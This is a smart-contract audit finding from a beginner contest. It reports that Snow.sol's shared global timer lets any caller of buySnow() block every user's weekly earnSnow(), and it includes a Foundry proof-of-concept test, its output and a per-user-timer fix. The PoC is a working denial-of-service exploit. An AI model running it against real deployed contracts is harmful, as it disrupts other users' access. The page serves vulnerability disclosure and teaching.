Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Global Timer Manipulation Denial of Service Attack

Root + Impact

Description

  • The Snow contract implements a farming mechanism where users can call earnSnow() to mint 1 token per week. The contract uses a global timer (s_earnTimer) to enforce a 1-week cooldown period, ensuring users cannot farm more frequently than intended.

  • The contract uses a single global s_earnTimer variable that is modified by both earnSnow() and buySnow() functions. Any user can call buySnow() to reset this global timer to the current timestamp, effectively forcing ALL users to wait an additional week before they can farm again, regardless of their individual farming schedules. This allows any malicious actor to indefinitely deny farming access to all protocol users with minimal cost.

// Snow.sol - Global timer variable shared by all users
uint256 private s_earnTimer;
function earnSnow() external canFarmSnow {
if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
revert S__Timer();
}
@> _mint(msg.sender, 1);
@> s_earnTimer = block.timestamp; // Resets global timer for ALL users
}
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
@> s_earnTimer = block.timestamp; // Any user can reset global timer
emit SnowBought(msg.sender, amount);
}

Risk

Likelihood:

  • This vulnerability will occur whenever any user calls the buySnow() function during another user's farming cooldown period. Since buySnow() is a core protocol function that users regularly interact with to purchase Snow tokens, the global timer reset happens continuously during normal protocol operations.

  • Malicious actors can deliberately exploit this vulnerability with minimal barrier to entry, requiring only 1 ETH and standard gas fees to execute the attack. The economic incentive exists for competitors, griefers, or anyone seeking to disrupt the protocol, as the attack cost is extremely low compared to the widespread impact achieved.

Impact:

  • Impact 1: Complete denial of service for the farming mechanism affecting all protocol users simultaneously. When an attacker calls buySnow(), every user who was scheduled to farm must wait an additional full week (604,800 seconds) regardless of their individual farming timeline, effectively breaking the intended 1-week-per-user cooldown system.

  • Protocol functionality becomes unreliable and unpredictable for legitimate users. Attackers can sustain the denial of service indefinitely by repeatedly calling buySnow() just before users' farming windows expire, preventing anyone from ever successfully farming Snow tokens and undermining the core tokenomics of the protocol.

Proof of Concept

function testGlobalTimerManipulationDoS() public {
console2.log("=== GLOBAL TIMER MANIPULATION DoS ATTACK ===");
// === PHASE 1: Victim establishes farming schedule ===
console2.log("\n--- Phase 1: Victim Establishes Schedule ---");
vm.prank(victim);
snow.earnSnow();
console2.log("Victim farmed at timestamp:", block.timestamp);
uint256 victimNextFarmTime = block.timestamp + WEEK;
console2.log("Victim next scheduled for:", victimNextFarmTime);
// === PHASE 2: Attacker manipulates timer before victim can farm ===
console2.log("\n--- Phase 2: Attacker Timer Manipulation ---");
// Move time forward but not to victim's scheduled time yet
vm.warp(victimNextFarmTime - 2 days);
console2.log("Current time (attacker strikes):", block.timestamp);
// Attacker resets global timer with buySnow
uint256 ethRequired = BUY_FEE * PRECISION;
vm.deal(attacker, ethRequired);
vm.prank(attacker);
snow.buySnow{value: ethRequired}(1);
console2.log("ATTACK: Global timer reset to:", block.timestamp);
// === PHASE 3: Victim arrives at scheduled time but is BLOCKED ===
console2.log("\n--- Phase 3: Victim Denied Service ---");
vm.warp(victimNextFarmTime);
console2.log("Victim arrives at scheduled time:", block.timestamp);
vm.prank(victim);
vm.expectRevert(); // Expect S__Timer() revert
snow.earnSnow();
console2.log("RESULT: Victim BLOCKED - S__Timer() revert");
console2.log("\n=== VULNERABILITY PROVEN ===");
console2.log("1. Victim established farming schedule");
console2.log("2. Attacker manipulated global timer with buySnow()");
console2.log("3. Victim blocked from farming at scheduled time");
console2.log("4. Single attacker transaction affects ALL users");
console2.log("SEVERITY: HIGH - Complete DoS with minimal cost");
}

PoC Result:

forge test --match-test testGlobalTimerManipulationDoS -vv
[⠑] Compiling...
No files changed, compilation skipped
Ran 1 test for test/GlobalTimerManipulationDoS.t.sol:GlobalTimerManipulationPoC
[PASS] testGlobalTimerManipulationDoS() (gas: 136341)
Logs:
=== GLOBAL TIMER MANIPULATION DoS ATTACK ===
--- Phase 1: Victim Establishes Schedule ---
Victim farmed at timestamp: 1
Victim next scheduled for: 604801
--- Phase 2: Attacker Timer Manipulation ---
Current time (attacker strikes): 432001
ATTACK: Global timer reset to: 432001
--- Phase 3: Victim Denied Service ---
Victim arrives at scheduled time: 604801
RESULT: Victim BLOCKED - S__Timer() revert
=== VULNERABILITY PROVEN ===
1. Victim established farming schedule
2. Attacker manipulated global timer with buySnow()
3. Victim blocked from farming at scheduled time
4. Single attacker transaction affects ALL users
SEVERITY: HIGH - Complete DoS with minimal cost
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 819.51µs (139.05µs CPU time)
Ran 1 test suite in 5.84ms (819.51µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Snow.sol - Replace global timer with per-user mapping

- uint256 private s_earnTimer;
+ mapping(address => uint256) private s_userLastFarm;
function earnSnow() external canFarmSnow {
- if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
+ if (s_userLastFarm[msg.sender] != 0 && block.timestamp < (s_userLastFarm[msg.sender] + 1 weeks)) {
revert S__Timer();
}
_mint(msg.sender, 1);
- s_earnTimer = block.timestamp;
+ s_userLastFarm[msg.sender] = block.timestamp;
}
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
- s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buying of snow resets global timer thus affecting earning of free snow

When buySnow is successfully called, the global timer is reset. This inadvertently affects the earning of snow as that particular action also depends on the global timer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.